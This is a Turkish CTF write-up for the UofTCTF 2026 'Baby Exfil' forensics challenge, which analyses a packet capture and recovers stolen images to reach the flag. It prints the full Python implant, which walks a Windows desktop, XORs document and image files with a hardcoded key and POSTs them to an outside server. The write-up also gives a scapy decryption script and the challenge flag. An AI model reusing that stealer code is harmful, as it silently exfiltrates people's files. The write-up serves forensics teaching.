UofTCTF 2026 — Baby Exfil Çözüm Yazısı

Bir Windows masaüstünden resim çalan, sabit anahtarla XOR'layıp hex olarak POST eden bir sızdırma implantının pcap'i. Sunucudan servis edilen zararlı, anahtarı da beraberinde veriyor; tüm yakalama çalınan dosyalara geri çözülüyor.

3 dk okuma
ibrahimsql
587 kelime

UofTCTF 2026 — Baby Exfil

Küçük bir sızdırma implantı ve saldırganın bize kaynak kodunu bizzat vermesi üzerine bir ağ adli bilişim sorusu.

  • Etkinlik: UofTCTF 2026
  • Kategori: Adli Bilişim (Forensics)
  • Dosya: final.pcapng.xz → final.pcapng
  • Bayrak formatı: uoftctf{...}

1. Bulut gürültüsünden sinyali ayırmak

Yakalama 19.084 paket ve büyük bölümü sıradan bir Windows masaüstünün internete konuşması: 443'te TLS, UDP/443'te QUIC, MSN/Bing/Google çözümlemeleri. Konuşmaya göre filtreleyince tuhaf olan öne çıkıyor — 10.0.2.15 istemcisi, tek bir sunucuya, alışılmadık bir porttan düz HTTP konuşuyor:

TCP  10.0.2.15  ->  34.134.77.90:8080   POST /upload   (x5)
TCP  10.0.2.15  ->  35.238.80.16:8000   GET  /JdRlPr1.py

İki sunucu, iki rol: :8000 bir betik dağıtıyor, :8080 yüklemeleri alıyor. :8080 yanıtları kendini Werkzeug/2.2.2 Python/3.11.2 olarak tanıtıyor, :8000 ise SimpleHTTP/0.6 Python/3.11.2 — içinde tek dosya bulunan bir python -m http.server sahne dizini.

2. Açıkta servis edilen implant

GET /JdRlPr1.py yanıtı, okunabilir 907 bayt Python. İkinci istek 304 Not Modified alıyor. Tamamını okumak mümkün:

Python
import os
import requests
 
key = "G0G0Squ1d3Ncrypt10n"
server = "http://34.134.77.90:8080/upload"
 
def xor_file(data, key):
    result = bytearray()
    for i in range(len(data)):
        result.append(data[i] ^ ord(key[i % len(key)]))
    return bytes(result)
 
base_path = r"C:\Users\squid\Desktop"
extensions = ['.docx', '.png', ".jpeg", ".jpg"]
 
for root, dirs, files in os.walk(base_path):
    for file in files:
        if any(file.endswith(ext) for ext in extensions):
            filepath = os.path.join(root, file)
            try:
                with open(filepath, 'rb') as f:
                    content = f.read()
 
                encrypted = xor_file(content, key)
                hex_data = encrypted.hex()
                requests.post(server, files={'file': (file, hex_data)})
 
                print(f"Sent: {file}")
            except:
                pass

Tehdidin tamamı bu. C:\Users\squid\Desktop altında gezinir; her .docx, .png, .jpeg ya da .jpg dosyası için baytları okur, yinelenen G0G0Squ1d3Ncrypt10n anahtarıyla XOR'lar, sonucu hex'e çevirir ve multipart bir dosya alanı olarak POST eder. Sabit XOR dışında şifreleme yok, anahtar değişimi yok — anahtar aracın içinde geliyor.

3. Yüklemeler aslında hex metni

Her POST /upload bir multipart/form-data; User-Agent: python-requests/2.32.5 ve filename alanı diskteki özgün adı taşıyan tek bir file parçası var:

Text
3G2BHzj.jpeg   390.835 B
fZQ6WcI.png    737.768 B
HNderw.png     493.047 B
oMdVph0.jpeg    59.275 B
wYTCtRu.jpeg   191.178 B

Gövde ikili veri değil, content.hex() çıktısı olan ASCII hex dizesi; yani 781 KB'lık POST aslında 390 KB'lık bir dosya. Her TCP akışını yeniden birleştirip parça gövdesini multipart sınırında kesip bytes.fromhex() ile çözüp betikteki anahtarla XOR'lamak implantı bire bir tersine çeviriyor:

Python
from scapy.all import PcapReader, IP, TCP, Raw
import re
 
KEY = b"G0G0Squ1d3Ncrypt10n"
streams = {}
with PcapReader("final.pcapng") as pr:
    for p in pr:
        if IP in p and TCP in p and Raw in p and p[TCP].dport == 8080:
            k = (p[IP].src, p[TCP].sport, p[IP].dst, p[TCP].dport)
            streams.setdefault(k, []).append((p[TCP].seq, bytes(p[TCP].payload)))
 
for k, pkts in streams.items():
    pkts.sort()
    data = b"".join(b for _, b in pkts)
    if not data.startswith(b"POST /upload"):
        continue
    name = re.search(rb'filename="([^"]+)"', data).group(1).decode()
    body = re.split(rb'\r\n--', data.split(b'filename', 1)[1].split(b'\r\n\r\n', 1)[1])[0].strip()
    cipher = bytes.fromhex(body.decode())
    plain = bytes(c ^ KEY[i % len(KEY)] for i, c in enumerate(cipher))
    open(name, "wb").write(plain)
    print(name, len(plain), plain[:4])

Geri gelen baytlar gerçek sihirli imzalar taşıyor — JPEG için ff d8 ff db ve ff d8 ff e0, PNG için 89 50 4e 47 0d 0a 1a 0a. Bu da anahtarın doğru olduğunun kanıtı.

4. Çalınan dosyaları okumak

Beş resim geri geliyor: dağda bir köpek, bir Windows 7 masaüstü, somurtkan bir kedi, bir anime ekran görüntüsü ve — anime ekran görüntüsünün tam üzerine yapıştırılmış halde — bayrak.

uoftctf{b4by_w1r3sh4rk_an4lys1s}

Saldırganın istediği veri masaüstündeki dosyalardı; önemli olanı ise implantın orada olduğunu bile bilmediği bir ekran görüntüsüydü.

5. Bayrak

uoftctf{b4by_w1r3sh4rk_an4lys1s}

Ders, kitaptaki en eski ders: anahtarı asla araçla birlikte göndermeyin. Yinelenen anahtarlı XOR ancak sırrın gizliliği kadar güçlüdür ve burada sır, şifreli metni taşıyan aynı yakalamadan düz HTTP ile servis edildi.

---
Bu yazıyı paylaş:
TwitterLinkedInFacebook

Ne düşünüyorsun?

Tepki bırakarak geri bildirim ver

İlgili Yazılar